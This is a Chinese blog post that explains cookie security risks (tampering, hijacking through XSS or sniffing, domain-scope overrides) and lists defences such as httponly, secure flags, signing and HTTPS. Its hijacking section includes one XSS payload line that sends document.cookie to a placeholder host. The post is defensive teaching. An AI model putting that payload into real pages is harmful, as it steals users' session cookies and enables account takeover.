前言

Cookie 往往用来存储用户的某些相关信息,例如身份,配置等。Cookie 使用起来非常简单和方便,然而如果不加注意,它又可能成为我们网站的安全隐患,带来极大的风险。

那么不正确地使用 Cookie 有哪些安全问题呢?

Cookie 安全问题

Cookie篡改

这是最容易出现的情况,也就是直接修改 Cookie 的内容。我们知道,Cookie 是存储在客户端的,所以里面的内容可以通过浏览器的控制台或者 js 代码进行修改的。因此 Cookie 相对而言是不可信的,如果我们把一些重要的信息,例如权限信息存在 Cookie,很容易就被有心人篡改,导致越权问题。

Cookie 劫持

很多网站是用 Cookie 来做用户识别的,例如 Cookie 里存储了 Session id,通过Session id 来获取更进一步的用户信息。因此如果用户的 Cookie 被劫持了,盗用者是可以用这个 Cookie 来伪装成该用户来进行网站操作的。Cookie 劫持一般和 XSS 攻击一起使用,先通过 XSS 攻击获得了在页面上运行 js 的能力,然后通过 js 读取 Cookie,并发送给远程的服务器。例如
<script>document.location='http://xxx.com/getCookie.php?cookie='+document.cookie;</script>

除了通过 XSS 攻击来劫持 Cookie 外,攻击者还可能在网络节点中嗅探到 HTTP 连接的 Cookie。HTTP 连接采用的是明文传输,相当于所有信息都是在网络上裸奔的,很容易就会被有心人窃取到了。

Cookie 作用域攻击

Cookie 有两个很重要的属性:Domain 和 Path,用来指示 Cookie 的作用域。不同作用域下的 Cookie 可以同时存在,例如我们可以有一个 a.b.com下的 Cookie aaa,也可以同时有一个*.b.com下的 Cookie aaa。前者在 a.b.com下生效,后者在b.com的所有子域下生效。

在某些情况下,如果我们的 Cookie 作用域设置得太高,即使我们开启了 Cookie 安全选项,攻击者仍可能通过设置一个更小作用域的 Cookie 来覆盖掉我们设置的 Cookie,使得在这个小作用域内,生效的不是我们设置的 Cookie,而是攻击者设置的 Cookie。

介绍了这么多不正确地使用 Cookie 带来的问题,那我们该如何来解决呢?

Cookie安全防范

  • 不放重要数据,重要数据放Session。我们已经知道 Cookie 不安全了,就不要作死非把重要数据放在 Cookie 里了
  • Cookie 数据加签名。对 Cookie 数据添加签名,这样 Cookie 如果被篡改了,服务端使用的时候通过校验签名就能发现了。
  • Cookie数据加密。加密后数据就很难篡改了,但是加解密过程会带来性能损耗,这个就要进行衡量了。
  • 开启 Cookie 的 httponly 参数,让 Cookie 只能在网络请求中被传输,避免js操作和获取 Cookie
  • 全站 HTTPs + Cookie secure 设置。避免 Cookie 在网络传输过程中被劫持。仅仅设置全站 HTTPs 是不够的,还得开启 Cookie secure 设置,否则当secure的限制没有开启时,那么在一个HTTPs 的网站中,一个 XSS 攻击还是能通过 HTTP 读取到 HTTPs 下的 Cookie。
  • 设置更小作用域的 Cookie,尽可能给 Cookie 设置合适且小的作用域。

Enjoy it !

如果觉得文章对你有用,可以赞助我喝杯咖啡~

版权声明

转载请注明作者和文章出处
作者: X先生
https://blog.csdn.net/u013314679/article/details/105664999

Cookie安全问题与防范相关推荐

  1. 前端安全问题及防范措施

    在现代 Web 应用程序开发中,前端安全问题备受关注.前端安全问题主要包括 XSS 攻击.CSRF 攻击.SQL 注入等.这篇文章将介绍这些安全问题以及如何防范它们,帮助读者更好地保护前端应用程序的安 ...

  2. Web安全:常见的安全问题及防范措施

    前言 随着互联网的高速发展,信息安全问题已经成为行业最为关注的焦点之一.总的来说安全是很复杂的一个领域,在移动互联网时代,前端人员除了传统的 XSS.CSRF 等安全问题之外,还时常遭遇网络劫持.非法 ...

  3. 104、前端5种安全问题及防范

    目录 1. CSRF(跨站请求伪造) (1)什么是CSRF (2)防御CSRF攻击 对于方案4:类似于anti-CSRF token(反csrf的token) 补充:token 2. XSS(跨站脚本 ...

  4. 单点登录与权限管理本质:cookie安全问题

    继续介绍「单点登录与权限管理」系列的第一部分:单点登录与权限管理本质,前一篇文章介绍了单点登录概念,以CAS协议的基本流程为例讲解了系统间的交互过程,过程中,cookie的设置和传输涉及的比较多,如何 ...

  5. B/S开发框架Web安全问题及防范规范之挂马和WebShell

    Web站点为什么会遭受攻击?是为了恶作剧?损害企业名誉?免费浏览收费内容?盗窃用户隐私信息?获取用户账号谋取私利?总之攻击方式层出不穷,作为B/S开发框架来说,帮助开发者做好解决安全问题也是刻不容缓的 ...

  6. 【安全牛学习笔记】cookie安全问题

    1.Cookie简介 2.有哪些问题 3.漏洞带来哪些危害 4.开发建议 简介: Cookie:由server产生,经过http传输,存储在浏览器端,key-value,用来标记回话,鉴别用户 --- ...

  7. 深入理解 Session 与 Cookie

    Session 与 Cookie 不管是对 Java Web 的初学者还是熟练使用者来说都是一个令人头疼的问题.在初入职场时恐怕很多程序员在面试的时候都被问到过这个问题.其实这个问题回答起来既简单又复 ...

  8. 第十章 深入理解Session与Cookie

    理解Cookie 理解Session Cookie安全问题 分布式Session框架 Cookie压缩 表单重复提交问题 多终端Session统一 转载于:https://www.cnblogs.co ...

  9. Session 与 Cookie

    Session 与 Cookie 的作用都是为了保持访问用户与后端服务器的交互状态.它们本身只是HTTP中的一个配置项,在servlet规范中也只对应一个类而已. 理解 Cookie 通俗地说就是当一 ...

最新文章

  1. ASP.NET 状态管理概述(MSDN)
  2. 用于传递列表作为选项的argparse选项
  3. npm WARN saveError ENOENT: no such file or directory, open ‘/Users/....../package.json‘的解决办法
  4. maven获得dom4j_在maven下的使用Dom4j解析XML....
  5. 常用android的smali注入代码,android smali代码注入 实战一
  6. LSSS线性秘密共享方案详细构造方法与原理解释
  7. Maven常见警告解决办法
  8. Asp.net 表单打印时的样式设置【原】
  9. springboot2的redis缓存管理器cacheManager配置,使存入json格式数据
  10. let var const的区别
  11. mpeg2是信源还是信道编码_hdb3编码到底属于信源编码还是信道编码?
  12. CAN FD 总线协议深度解析-简单易懂协议详解
  13. ADF中在jspx页面加载的阶段添加自己的代码
  14. JDBC中connection.isClosed 和 connection.isValid的区别
  15. 【琐识】日常获取知识随笔
  16. word里画的流程图怎么全选_怎么用word画流程图
  17. 监控摄像机选型攻略之常见机型选用
  18. BZOJ 3162:独钓寒江雪
  19. python的dbf操作
  20. oracle数据库赋权

热门文章

  1. Lenovo/联想A628T root教程_方法
  2. 安卓手机软件开发_面向小白:安卓手机用户的福音,一键提升手机性能
  3. 中秋写了个狼吃羊的智力游戏
  4. IntelliJ Idea 2017 服务器激活
  5. 跆拳道拳击馆健身运动小程序开发制作功能介绍
  6. 形态学空间格局分析(MSPA)——Arcmap结合GuidosToolbox(以分析森林景观为例)
  7. 使用funshionchart技术总结
  8. [vue-router] Failed to resolve async component render: TypeError: Cannot read properties of undefine
  9. 启动APP黑屏白屏的原因及解决办法
  10. CC2530基础实验:(9)AD采集cc2530温度串口显示